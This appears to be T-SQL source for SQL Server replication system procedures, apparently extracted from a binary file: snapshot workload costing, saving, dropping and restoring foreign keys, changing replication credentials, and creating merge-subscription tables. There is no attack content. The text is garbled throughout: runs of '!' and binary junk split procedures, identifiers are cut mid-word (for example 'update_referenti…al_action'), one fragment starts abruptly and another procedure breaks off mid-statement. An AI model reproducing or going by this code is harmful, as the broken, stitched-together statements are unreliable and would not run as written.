            if @schema_option = 0 and @creation_script is not null and
               @creation_script <> N''
            begin
                -- Script generation
                select @taskload = @copyfilecost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 12, @taskload)
                -- Cost of adding commands for the custom script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
                -- No need to worry about index script
            end
            else
            begin
                -- Script generation 
                select @taskload = @dmoscriptcost + @scriptproccost
                -- Must script out schema script
                insert #workload_breakdown values (@name, @artid, 1, @taskload)
                -- Cost of adding the command
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- Index script is not optional for logbased articles
                -- Cost of script generation
                select @taskload = @dmoscriptcost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 13, @taskload)
                -- Cost of adding command for the script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- Constraint script?
                if (@schema_option & 0xf00) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 9, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end
    
                -- Trigger script?
                if (@schema_option & 0x100) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 2, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end 
        
                -- XProp script?
                if (@schema_option & 0x2000) <> 0x0
                begin
                    -- Cost of script generation 
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 3, @taskload)
                    -- Cost of adding command
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end
            end        
        
        if @objid is not null
        begin
                -- Get fast row count from sysindexes for bcp op estimation
                select @rowcount =
                        case when isnull(rowcnt,0) > @maxint then @maxint / 10000
                             when isnull(rowcnt,0) > @maxint / 10000 then rowcnt / 10000
                             else isnull(rowcnt,0)
                        end     
                  from sysindexes 
                 where id = @objid 
                   and indid in (0,1)
        end
        else
        begin
                -- TODO: HREPL -- pick arbitrary value of 100 to represent 1,000,000 rows
                select @rowcount = 100
        end

            -- Increment the total row count
            select @totalrowcount = @totalrowcount + @rowcount        

            -- BCP computation            
            -- Bcp file generation
            select @taskload = @bcpoverhead + (@rowcount * @totalbcpcostper100) / 100 
            insert #workload_breakdown values (@name, @artid, 4, @taskload)
        end    

        -- System pre-snapshot script required?
        if @type in (0x40, 0x80) or ((@type & 0x1)<>0 and @pre_creation_command =  3)
        begin
            select @needsysprescript = 1
            -- Incrememt the number of pre-script command counter
            select @numprescriptcommands = @numprescriptcommands + 1
        end

        -- Increment the article count
        select @numarticles = @numarticles + 1

        fetch hCarticles into @artid, @creation_script, @objid, @schema_option, @type, @name, @pre_creation_command
    end
    
    -- System pre-snapshot script processing cost 
    if @needsysprescript = 1
    begin
        select @taskload = @syspreoverhead + 
                (@numprescriptcommands * @syspreper2commands) / 2 +
               @scriptproccost
        insert #workload_breakdown values (N'', -1, 7, @taskload)         
        select @numscripts = @numscripts + 1
    end

    -- Cost of flushing folder for the scripts 
    if @compress_snapshot = 1
    begin
        select @taskload = (@numscripts * @flushper2scripts) / 2
        insert #workload_breakdown values (N'', -1, 8, @taskload) 
    end

    -- Synctran commands cost?
        

    -- Subscription activation cost?


    -- Cost for flushing the cabinet
    if @compress_snapshot = 1
    begin
        select @taskload = (@numscripts * @flushcabper5scripts / 5) +
                           (@totalrowcount * @flushcabper500bcprows / 500)
        insert #workload_breakdown values (N'', -1, 14, @taskload)
    end

    -- Add the total add commands cost
    insert #workload_breakdown values (N'', -1, 6, @addcommandstotal)

    -- Compute the total workload and put that in the 
    -- workload break down
    select @bigtaskload = sum(convert(bigint,taskload)) from #workload_breakdown
    select @taskload =
            case when @bigtaskload > @maxint then @maxint
                 else @bigtaskload
            end
    insert #workload_breakdown values (N'', -1, 0, @taskload) 

    select name, taskid, taskload from #workload_breakdown order by artid, taskid asc
    drop table #workload_breakdown

    return 0

Failure:
    if @table_created = 1
       drop table #workload_breakdown
    return 1

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	xvZ
create procedure sys.sp_MSrestoresavedforeignkeys (
    @program_name   sysname = null
)
as
begin
    set nocount on
    declare @retcode                    int,
            @constraint_name            sysname,
            @parent_name                sysname,
            @parent_schema              sysname,
            @referenced_object_name     sysname,
            @referenced_object_schema   sysname,
            @is_disabled                bit,
            @is_not_for_replication     bit,
            @is_not_trusted             bit,
            @delete_referential_action  tinyint,
            @update_referential_action  tinyint,
            @transaction_opened         bit,
            @cursor_allocated           bit,
            @cursor_opened              bit,
            @command                    nvarchar(4000),
            @referencing_object_id      int,
            @referenced_object_id       int

    select @retcode = 0,
           @transaction_opened = 0,
           @cursor_allocated = 0,
           @cursor_opened = 0


    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    -- There is nothing to do if any of the foreign key restoration 
    -- system tables are missing
    if object_id('dbo.MSsavedforeignkeys', 'U') is null or
       object_id('dbo.MSsavedforeignkeycolumns', 'U') is null or
       object_id('dbo.MSsavedforeignkeyextendedproperties', 'U') is null
    begin
        return 0
    end

    if @program_name is null
    begin
        select @program_name = program_name 
          from sys.sysprocesses
         where spid = @@spid
    end

    begin transaction 
    save transaction sp_MSrestoresavedforeignkeys
    set @transaction_opened = 1
    
    declare hForeignKeys cursor local 
        for
    select constraint_name, 
           parent_schema,
           parent_name,
           referenced_object_schema,
           referenced_object_name,
           is_disabled,
           is_not_for_replication,
           is_not_trusted,
           delete_referential_action,
           update_referential_action
      from dbo.MSsavedforeignkeys    
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_allocated = 1

    open hForeignKeys
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_allocated = 1

    fetch hForeignKeys into @constraint_name, @parent_schema, @parent_name,
        @referenced_object_schema, @referenced_object_name, @is_disabled,
        @is_not_for_replication, @is_not_trusted, @delete_referential_action, 
        @update_referential_action

    while (@@fetch_status <> -1)
    begin

        -- Check if foreign key can be restored

        -- Is the foreign key already present?
        if object_id(quotename(@parent_schema) + N'.' + quotename(@constraint_name), 'F') is not null goto SkipForeignKey
    
        -- Is the referencing table present?
        select @referencing_object_id = object_id(quotename(@parent_schema) + N'.' + quotename(@parent_name), 'U') 
        if @referencing_object_id is null goto SkipForeignKey

        -- Is the referenced table present?
        select @referenced_object_id =  object_id(quotename(@referenced_object_schema) + N'.' + quotename(@referenced_object_name), 'U') 
        if @referenced_object_id is null goto SkipForeignKey

        -- Are all the referencing columns present?
        if exists (select *  
                     from dbo.MSsavedforeignkeycolumns
                    where program_name = @program_name
                      and constraint_name = @constraint_name
                      and referencing_column_name not in
                            (select name 
                               from sys.columns 
                              where object_id = @referencing_object_id))
            goto SkipForeignKey

        -- Are all the referenced columns present?
        if exists (select *
                     from dbo.MSsavedforeignkeycolumns
                    where program_name = @program_name
                      and constraint_name = @constraint_name
                      and referenced_column_name not in
                            (select name
                               from sys.columns
                              where object_id = @referenced_object_id))
            goto SkipForeignKey
 
        -- Is there a candidate referenced index key present?
        if not exists (select key_constraints.name 
                         from sys.index_columns index_columns
                   inner join sys.indexes indexes
                           on index_columns.index_id = indexes.index_id
                          and index_columns.object_id = indexes.object_id
                   inner join sys.key_constraints key_constraints
                           on indexes.name = key_constraints.name
                          and schema_name(key_constraints.schema_id) = @referenced_object_schema
                        where indexes.object_id = @referenced_object_id
                          and index_columns.column_id <> 0
                          and indexes.index_id not in
                                -- Indexes with columns that do not match
                                -- those saved in dbo.MSsavedforeignkeycolumns
                                (select index_columns.index_id
                                   from sys.index_columns index_columns
                             inner join sys.columns columns
                                     on index_columns.object_id = columns.object_id
                                    and index_columns.column_id = columns.column_id
                              left join 
                                    (select referenced_column_name, constraint_column_id
                                       from dbo.MSsavedforeignkeycolumns
                                      where program_name = @program_name
                                        and constraint_name = @constraint_name
                                        and parent_schema = @parent_schema) foreignkeycolumns (referenced_column_name, constraint_column_id)
                                     on columns.name = foreignkeycolumns.referenced_column_name
                                    and index_columns.key_ordinal = foreignkeycolumns.constraint_column_id
                                  where index_columns.object_id = @referenced_object_id
                                    and index_columns.column_id <> 0
                                    and foreignkeycolumns.referenced_column_name is null)
                         -- The the number of columns in the index matches 
                         -- that in the foreign key
                     group by key_constraints.name
                    having count(key_constraints.name) = 
                        (select count(*) 
                           from dbo.MSsavedforeignkeycolumns 
                          where program_name = @program_name
                            and constraint_name = @constraint_name
                            and parent_schema = @parent_schema))
            goto SkipForeignKey

        select @command = N'execute sys.sp_MSscriptforeignkeyrestore @program_name = N''' + replace(@program_name, N'''', N'''''') +
            N''', @constraint_name = N''' + replace(@constraint_name, N'''', N'''''') +
            N''', @parent_schema = N''' + replace(@parent_schema, N'''', N'''''') +
            N''', @parent_name = N''' + replace(@parent_name, N'''', N'''''') +
            N''', @referenced_object_schema = N''' + replace(@referenced_object_schema, N'''', N'''''') +
            N''', @referenced_object_name = N''' + replace(@referenced_object_name, N'''', N'''''') +
            N''', @is_not_for_replication = ' +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
vg1create procedure sys.sp_MSdropfkreferencingarticle (
    @destination_object_name sysname,
    @destination_owner_name sysname = null
    )
as
begin
    set nocount on 
    declare @fk_name sysname,
            @drop_command nvarchar(4000),
            @parent_id int,
            @retcode int,
            @robject_name sysname,
            @robject_schema sysname,
            @transaction_opened bit,
            @cursor_allocated bit,
            @cursor_opened bit,
            @timestamp datetime,
            @program_name sysname,
            @is_disabled bit,
            @is_not_for_replication bit,
            @is_not_trusted bit,
            @delete_referential_action tinyint,
            @update_referential_action tinyint,
            @referenced_object_id int

    select @retcode = 0,
           @transaction_opened = 0,
           @cursor_allocated = 0,
           @timestamp = getdate()

    select @program_name = program_name from sys.sysprocesses where spid = @@spid

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1    

    if @destination_owner_name is null
    begin
        -- Use default schema of the current user for the destination object
        -- schema if one is not explicitly specified.
        select @destination_owner_name = schema_name()
    end

    select @referenced_object_id = object_id(quotename(@destination_owner_name) + N'.' + quotename(@destination_object_name))

    if @referenced_object_id is null return

    if object_id('dbo.MSsavedforeignkeys', 'U') is null
    begin
        create table dbo.MSsavedforeignkeys
        (
            
            program_name                sysname not null,
            constraint_name             sysname not null,
            parent_schema               sysname not null,
            parent_name                 sysname not null,
            referenced_object_schema    sysname not null,
            referenced_object_name      sysname not null,
            is_disabled                 bit not null,
            is_not_for_replication      bit not null,
            is_not_trusted              bit not null,
            delete_referential_action   tinyint not null,
            update_referential_action   tinyint not null,
            timestamp                   datetime not null         
        )
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

        create clustered index ci_MSsavedforeignkeys
            on dbo.MSsavedforeignkeys(program_name, constraint_name, parent_schema)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
        
        create nonclustered index nci_MSsavedforeignkeys_timestamp
            on dbo.MSsavedforeignkeys(timestamp)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsavedforeignkeys'
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    end


    if object_id('dbo.MSsavedforeignkeycolumns', 'U') is null
    begin
        create table dbo.MSsavedforeignkeycolumns
        (
            program_name                sysname not null,
            constraint_name             sysname not null,
            parent_schema               sysname not null,
            constraint_column_id        int not null,
            referencing_column_name     sysname not null,
            referenced_column_name      sysname not null,
            timestamp                   datetime not null
        )
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

        create clustered index ci_MSsavedforeignkeycolumns
            on dbo.MSsavedforeignkeycolumns(program_name, constraint_name, parent_schema, constraint_column_id)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
        create nonclustered index nci_MSsavedforeignkeycolumns_timestamp
            on dbo.MSsavedforeignkeycolumns(timestamp)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsavedforeignkeycolumns'
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    end   
    
    if object_id('dbo.MSsavedforeignkeyextendedproperties', 'U') is null
    begin
        create table dbo.MSsavedforeignkeyextendedproperties
        (
            program_name                sysname not null,
            constraint_name             sysname not null,
            parent_schema               sysname not null,
            property_name               sysname,
            property_value              sql_variant,
            timestamp                   datetime not null
        )
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

        create clustered index ci_MSsavedforeignkeyextendedproperties
            on dbo.MSsavedforeignkeyextendedproperties(program_name, constraint_name, parent_schema) 
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

        create nonclustered index nci_MSsavedforeignkeyextendedproperties_timestamp
            on dbo.MSsavedforeignkeyextendedproperties(timestamp)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsavedforeignkeyextendedproperties'
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    end

    begin transaction
    save transaction sp_MSdropfkreferencingarticle
    set @transaction_opened = 1

    -- Remove stale foreign key entries
    -- Globally remove anything that are more than 15 days old
    -- Remove anything for the calling program more than 3 days old
    delete dbo.MSsavedforeignkeys where timestamp < dateadd(day, -15, @timestamp)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    delete dbo.MSsavedforeignkeycolumns where timestamp < dateadd(day, -15, @timestamp)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    delete dbo.MSsavedforeignkeys where program_name = @program_name and timestamp < dateadd(day, -3, @timestamp)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    delete dbo.MSsavedforeignkeycolumns where program_name = @program_name and timestamp < dateadd(day, -3, @timestamp)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    
    declare hForeignKeys cursor local fast_forward
    for 
        select name, parent_object_id, is_disabled, is_not_for_replication, is_not_trusted, delete_referential_action, update_referential_action 
          from sys.foreign_keys
        where referenced_object_id = @referenced_object_id 
    set @cursor_allocated = 1

    open hForeignKeys
    set @cursor_opened = 1

    fetch hForeignKeys into @fk_name, @parent_id, @is_disabled, @is_not_for_replication, @is_not_trusted, @delete_referential_action, @update_referential_action
    
    while (@@fetch_status <> -1)
    begin
        select @robject_name = name, @robject_schema = schema_name(schema_id)
          from sys.objects 
         where object_id = @parent_id
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 

        insert into dbo.MSsavedforeignkeys 
            (
                program_name,
                constraint_name,
                parent_schema,
                parent_name,
                referenced_object_schema,
                referenced_object_name,
                is_disabled,
                is_not_for_replication,
                is_not_trusted,
                delete_referential_action,
                update_referenti!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<l
!ضhV(g1al_action,
                timestamp
            )
        values
            (
                @program_name,
                @fk_name,
                @robject_schema,
                @robject_name,
                @destination_owner_name,
                @destination_object_name,
                @is_disabled,
                @is_not_for_replication,
                @is_not_trusted,
                @delete_referential_action,
                @update_referential_action,
                @timestamp
            ) 
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 
        insert into dbo.MSsavedforeignkeycolumns
            (
                program_name,
                constraint_name,
                parent_schema,
                constraint_column_id,
                referencing_column_name,
                referenced_column_name,
                timestamp
            )
        select @program_name,
               @fk_name,
               @robject_schema,
               foreign_key_columns.constraint_column_id,
               referencing_columns.name,
               referenced_columns.name,
               @timestamp
          from sys.foreign_key_columns foreign_key_columns
    inner join sys.columns referencing_columns
            on foreign_key_columns.parent_column_id = referencing_columns.column_id and referencing_columns.object_id = @parent_id
    inner join sys.columns referenced_columns
            on foreign_key_columns.referenced_column_id = referenced_columns.column_id and referenced_columns.object_id = @referenced_object_id
         where foreign_key_columns.constraint_object_id = object_id(quotename(@robject_schema) + N'.' + quotename(@fk_name), 'F')
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 

        insert into dbo.MSsavedforeignkeyextendedproperties
            (
                program_name,
                constraint_name,
                parent_schema,
                property_name,
                property_value,
                timestamp
            )
        select @program_name,
               @fk_name,
               @robject_schema,
               name,
               value,
               @timestamp
          from fn_listextendedproperty(default, 'schema', @robject_schema, 'table', @robject_name, 'constraint', @fk_name)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 
        select @drop_command = N'alter table ' +
               quotename(@robject_schema) + N'.' +
               quotename(@robject_name) + 
               N' drop constraint ' + quotename(@fk_name)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 
        exec(@drop_command)
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 

        fetch hForeignKeys into @fk_name, @parent_id, @is_disabled, @is_not_for_replication, @is_not_trusted, @delete_referential_action, @update_referential_action
    end

    close hForeignKeys
    set @cursor_opened = 0

    deallocate hForeignKeys
    set @cursor_allocated = 0

    commit transaction 
    set @transaction_opened = 0

Failure:

    if @cursor_opened = 1
    begin
        close hForeignKeys
    end

    if @cursor_allocated = 1
    begin
        deallocate hForeignKeys
    end

    if @transaction_opened = 1
    begin
        rollback transaction sp_MSdropfkreferencingarticle
        commit transaction
    end
    return @retcode
end
exexs.subsystem = N'QueueReader'))
					AND UPPER(sc.credential_identity) = UPPER(@login)
					
		OPEN cursorCredentials

		FETCH cursorCredentials INTO @credential, @identity
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			-- change the credential password
			SELECT @command = 'ALTER CREDENTIAL ' + QUOTENAME(@credential) +
								' WITH IDENTITY = ' + QUOTENAME(@identity, '''') +
								', SECRET = ' + QUOTENAME(@password, '''')
			
			EXEC(@command)
			IF @retcode <> 0 or @@ERROR <> 0
				GOTO UNDO

			RAISERROR(21451, 10, -1, 'job', 'credential', @credential, @identity) WITH LOG
			
			FETCH cursorCredentials INTO  @credential, @identity
		END

		CLOSE cursorCredentials
		DEALLOCATE cursorCredentials
	END
	ELSE
	BEGIN
		-- Invalid value given for parameter @login_type.
		RAISERROR(21456, 16, -1, '@login_type')
		GOTO UNDO
	END
	
	COMMIT TRANSACTION tr_change_repl_password

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_change_repl_password
	COMMIT TRANSACTION 

	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(= ;v3create procedure sys.sp_MSmerge_create_sub_table as
    
    if object_id('dbo.sysmergesubscriptions', 'U') is null
    begin
    
        --raiserror('Creating table sysmergesubscriptions',0,1)

        create table dbo.sysmergesubscriptions
        (
            subscriber_server    sysname            NULL,                
            db_name              sysname            NOT NULL,
            pubid                uniqueidentifier   NULL,
            constraint           unique_pubsrvdb    unique nonclustered (pubid, subscriber_server, db_name),
            datasource_type      int                NOT NULL default 0,
            subid                uniqueidentifier   NOT NULL,
            replnickname         binary(6)          NOT NULL,
            replicastate         uniqueidentifier   NOT NULL,
            status               tinyint            NOT NULL,
            subscriber_type      int                NOT NULL,
            subscription_type    int                NOT NULL,
            sync_type            tinyint            NOT NULL,    -- 1 = automatic 2 = no sync
            description          nvarchar(255)      NULL,
            priority             real               NULL,       -- only valid when subscriber_type is global
            recgen               bigint             NULL,
            recguid              uniqueidentifier   NULL,
            sentgen              bigint             NULL,
            sentguid             uniqueidentifier   NULL,
            schemaversion        int                NULL,
            schemaguid           uniqueidentifier   NULL,
            last_validated       datetime           NULL,
            attempted_validate   datetime           NULL,
            last_sync_date       datetime           NULL,
            last_sync_status     int                NULL,
            last_sync_summary    sysname            NULL,
            metadatacleanuptime  datetime           not NULL default getdate(),
            partition_id         int                NULL,
            cleanedup_unsent_changes bit            NOT NULL default 0,
            replica_version      int                NOT NULL default 60,    -- 60 = shiloh sp3 and below, 90=Yukon
            supportability_mode  int                NOT NULL default 0,    -- central control of log files. Off by default.
            application_name     sysname            NULL,
            subscriber_number    int identity not NULL,
            last_makegeneration_datetime datetime NULL

            -- whenever adding a column here also add it to sp_MScreatenewreplnick 
        )
    
        if @@error<>0
            goto Error
        else
        begin
            create unique clustered index uc1sysmergesubscriptions on dbo.sysmergesubscriptions (subid) 
            if @@ERROR<>0
                goto Error

            create index nc2sysmergesubscriptions on dbo.sysmergesubscriptions (subscriber_server, db_name)
            if @@ERROR<>0
                goto Error

            create index nc3sysmergesubscriptions on dbo.sysmergesubscriptions (replnickname)
            if @@ERROR<>0
                goto Error
        end
        exec dbo.sp_MS_marksystemobject sysmergesubscriptions
        if @@ERROR <> 0
            goto Error        
    end
    
    exec sys.sp_MScreate_common_dist_tables @subside=1

    if object_id('dbo.MSmerge_agent_parameters', 'U') is null
    begin
        --raiserror('Creating table MSmerge_agent_parameters',0,1)
        
        create table dbo.MSmerge_agent_parameters
        (
        profile_name         sysname        NOT NULL,
        parameter_name       sysname        NOT NULL,
        value                nvarchar(255)  NOT NULL
        )
    
        if @@ERROR <> 0
            goto Error

        exec dbo.sp_MS_marksystemobject MSmerge_agent_parameters
        if @@ERROR <> 0
            goto Error        
    end

    if object_id('dbo.MSmerge_replinfo', 'U') is null
    begin
        --raiserror('Creating table MSmerge_replinfo',0,1)
        
        create table dbo.MSmerge_replinfo
        (
            repid                     uniqueidentifier     NOT NULL,
            use_interactive_resolver  bit        NOT NULL default 0,
            validation_level          int                    not NULL default 0,
            resync_gen                bigint                not NULL default -1,
            login_name                sysname             not NULL default suser_sname(suser_sid()),
            hostname                  sysname                NULL,
            merge_jobid               binary(16)            NULL,
            sync_info                 int identity not NULL -- used only by lightweight subscribers
        )
    
        if @@ERROR <> 0
            goto Error
        else
        begin
            create unique clustered index uc1MSmerge_replinfo
                on dbo.MSmerge_replinfo (repid)
            if @@ERROR <> 0
                goto Error
        end
        exec dbo.sp_MS_marksystemobject MSmerge_replinfo
        if @@ERROR <> 0
            goto Error        
    end
    
    if object_id('dbo.sysmergearticles', 'U') is null
    begin
        create table dbo.sysmergearticles
        (
            name                    sysname                NOT NULL,
            type                    tinyint                NULL,
            objid                   int                    NOT NULL, 
            sync_objid              int                    NOT NULL,
            view_type               tinyint                NULL,
            artid                   uniqueidentifier       NOT NULL,
            description             nvarchar(255)          NULL,
            pre_creation_command    tinyint                NULL,
            pubid                   uniqueidentifier       NOT NULL,
            nickname                int                    NOT NULL,
            column_tracking         int                    NOT NULL,
            status                  tinyint                NULL,
            conflict_table          sysname                NULL,
            creation_script         nvarchar(255)          NULL,
            conflict_script         nvarchar(255)          NULL,
            article_resolver        nvarchar(255)          NULL,
            ins_conflict_proc       sysname                NULL,
            insert_proc             sysname                NULL,
            update_proc             sysname                NULL,
            select_proc             sysname                NULL,
            metadata_select_proc    sysname                NULL,
            delete_proc             sysname                NULL,
            schema_option           binary(8)              NULL,
            destination_object      sysname                NOT NULL,
            destination_owner       sysname                NULL,
            resolver_clsid          nvarchar(50)           NULL,
            subset_filterclause     nvarchar(1000)         NULL,
            missing_col_count       int                    NULL,
            missing_cols            varbinary(128)         NULL,
            excluded_cols           varbinary(128)         NULL,
            excluded_col_count      int                    not NULL default 0,
            columns                 varbinary(128)         NULL,
            deleted_cols            varbinary(128)       NULL default 0x0,
            resolver_info           nvarchar(517)        NULL,
            view_sel_proc           nvarchar(290)        NULL,
            gen_cur                 bigint                NULL,
            vertical_partition      int                    not NULL default 0,
            identity_support        int                    not NULL default 0,
            before_image_objid      int                    NULL,
            before_view!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
T,& 3_objid       int                    NULL,
            verify_resolver_signature  int            NULL default 1,
            allow_interactive_resolver bit            NOT NULL default 0,
            fast_multicol_updateproc   bit            NOT NULL default 0,
            check_permissions          int            NOT NULL default 0,
            maxversion_at_cleanup      int            NOT NULL default 1,
            processing_order        int               NOT NULL default 0,
            upload_options          tinyint           NOT NULL default 0, -- 0 = Default case. Changes on subscriber replicate to publisher.
                                                                          -- 1 = Changes on subscriber are allowed but not uploaded.
                                                                          -- 2 = Changes on subscriber are not allowed.
                                                                          -- 3 = Out of partition changes are not allowed on subscriber.

            published_in_tran_pub   bit               NOT NULL default 0,
            lightweight             bit               not null default 0,
            procname_postfix        nchar(32)         null,    -- for lightweight
            well_partitioned_lightweight bit          null,
            before_upd_view_objid        int          NULL, -- only used by makegeneration because users of other publications may not have access to bi object of this publication
            delete_tracking          bit              null default 1,  -- when set to false the delete triggers do not update tombstone tables and hence deletes are not replicated.
            compensate_for_errors    bit              not null default 0,
            pub_range                bigint NULL, -- publisher identity range
            range                    bigint NULL, -- subscriber identity range
            threshold                int    NULL,    -- in percentage, set by sp_addmergearticle
            stream_blob_columns      bit              NOT NULL default 0,  -- controls whether    blob optimization is used or not.
            preserve_rowguidcol      bit              not null default 1 -- 0=rg created by replication
            -- Note: Please update sysmergeextendedarticlesview whenever
            -- there is a schema change in sysmergearticles
        )
    
        if @@error<>0 goto Error

        create unique clustered index uc1sysmergearticles on dbo.sysmergearticles(artid, pubid) 
        if @@ERROR <> 0    goto Error
        
        if not exists (select * from sys.indexes where name = 'nc1sysmergearticles')
        begin
            create nonclustered index nc1sysmergearticles on dbo.sysmergearticles(nickname) 
            if @@ERROR <> 0    goto Error
        end

        if not exists (select * from sys.indexes where name = 'nc2sysmergearticles')
        begin
            create nonclustered index nc2sysmergearticles on dbo.sysmergearticles(processing_order) 
            if @@ERROR <> 0    goto Error
        end
        
        if not exists (select * from sys.indexes where name = 'nc3sysmergearticles')
        begin
            create unique nonclustered index nc3sysmergearticles on dbo.sysmergearticles(objid, pubid) 
            if @@ERROR <> 0    goto Error
        end

        exec dbo.sp_MS_marksystemobject sysmergearticles
        if @@ERROR <> 0    goto Error

        grant select(nickname, maxversion_at_cleanup, objid) on dbo.sysmergearticles to public    
        if @@ERROR <> 0    goto Error

    end

    if object_id('dbo.MSmerge_conflicts_info', 'U') is null
    begin

        --raiserror('Creating table MSmerge_conflicts_info',0,1)
        
        create table dbo.MSmerge_conflicts_info
        (
            tablenick                int                NOT NULL,
            rowguid                  uniqueidentifier    rowguidcol NOT NULL,
            origin_datasource        nvarchar(255)    NULL,
            conflict_type            int NULL,
